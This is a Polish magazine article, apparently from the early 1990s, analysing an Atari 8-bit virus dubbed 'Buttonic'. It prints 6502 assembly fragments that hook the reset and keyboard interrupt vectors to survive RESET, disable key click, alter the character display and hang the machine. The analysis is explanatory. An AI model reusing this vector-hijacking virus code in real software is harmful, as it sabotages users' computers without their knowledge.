BUTTONIC
Nie upłynęło wiele wody w rzekach od czasu ukazania się artykułu pana Janusza B. Wiśniewskiego pod tytułem "Złapaliśmy wirusa", gdy mój komputer zaczął się buntować i okazywać swe niezadowolenie: - w zależności od humoru i pogody włączał lub wyłączał dźwięk klawiatury; - w momentach najmniej odpowiednich "stawiał ekran na głowie" lub przestawał wyświetlań znaki w negatywie; - buntował się podczas nagrywania czegokolwiek na dysk; - wieszał się bezpowrotnie po użyciu klawisza RESET. Nie było cienia wątpliwości, że coś jest nie tak. Po zmaganiach ze sprzętem i oprogramowaniem wyselekcjonowałem wirusa, będącego zapewne wynikiem ewolucji osobnika zaprezentowanego przez pana Wiśniewskiego. Pozwoliłem sobie nazwać go "Buttonic". Jest to bestia o wiele bardziej przebiegła i złośliwa od swego przodka... Ale zacznijmy od początku... Po swym protoplaście "Buttonic" odziedziczył skórkę oraz narządy rozrodcze. W tej materii nic się nie zmieniło, więc ograniczę się do opisania organów podtrzymujących egzystencję wirusa oraz służących do zatruwania życia użytkownikowi ATARI. Listing z nr 10/92 TA uzupełniłem o następujące deklaracje: kbcd equ $d209 rand equ $d20a nocl equ $2db keyv equ $208 time equ $14 chct equ $2f3 crit equ $42 wait equ $c0dfZmieniła się inicjallzacja: main equ * * init (reset) ldy #1 setr lda dosi,y sta oldr,y lda ares,y sta dosi,y dey bpl setr * 'd' entry search seek ldx #0 dsrc lda htbs,x cmp #'D' beq foun inx inx inx cpx #36 bcc dsrc rts * trap table address foun lda #6 page 6! cmp htbs+2,x beq retu ldy #1 ttlp lda htbs+2,x sta addr,y lda mtad,y sta htbs+2,x lda keyv,y sta ckey,y lda akey,y sta keyv,y dex dey bpl ttlp retu rtsJak widać, wirus przedłuża wektory dosini oraz keyvec (wektor przerwania klawiatury). Przy ustawianiu drugiego z wektorów brakuje sekwencji rozkazów wyłączających przerwania na czas operacji, co może spowodować "skok w maliny", jeśli podczas jej wykonywania wywołane zostanie przerwanie klawiatury. Patrząc jednak z punktu widzenia wirusa, który przybył przecież aby sprawić kłopot, to wszystko jest w porządku: wektor RESET-a jest przedłużony, więc system może się już wieszać. *--- reset rest jsr * oldr equ *-2 jmp seekPo resecie "Buttonic" skacze wpierw do procedur inicjalizujących, które były zainstalowane zanim przybył. Dzięki temu mogą zostać ustawione wektory, do których później nasz wirus się przyklei. Jak wynika z analizy programu, jest on odporny na RESET. Najbardziej "złośliwą" częścią "Buttonica" jest przerwanie klawiatury (stąd nazwa wirusa). *--- keyboard int xkey lda kbcd cmp rand bne jump1 sta nocl jump1 cmp time bne jump2 sta chct jump2 lda crit beq jump3 jmp wait jump3 jmp * ckey equ *-2Sprawdzane jest, czy kod wciśniętego klawisza zgadza się z wartością pobraną z odpowiednich komórek pamięci. Jeśli kbcode=rand, to wartość z kbcode wpisywana jest do rejestru nocl, co zazwyczaj powoduje wyłączenie dźwięku klawiatury. Jeśli kbcode=timer, to wartość z kbcode wpisywana jest do rejestru chrctl, odpowiadającego za wygląd znaków na ekranie. Ponadto sprawdzany jest rejestr critic - jeśli w chwili wywołania przerwania był on ustawiony, to wirus skacze do sprytnej procedurki wait, której jedynym zadaniem, zgodnie z nazwą, jest oczekiwanie na wciśnięcie klawisza RESET. Tuż przed wzorem bloku inicjalizacji dodana została jeszcze krótka tabela: *--- new int vec akey dta a(xkey) ares dta a(rest)Zastosowanie jej pozwoliło na uproszczenie programu inicjalizacji oraz ograniczenie jego długości, a w następstwie długości całego wirusa. I to by było na tyle. Pozostaje mi jedynie życzyć Czytelnikom, aby znali "Buttonica" tylko z tego artykułu. MAG(M)
|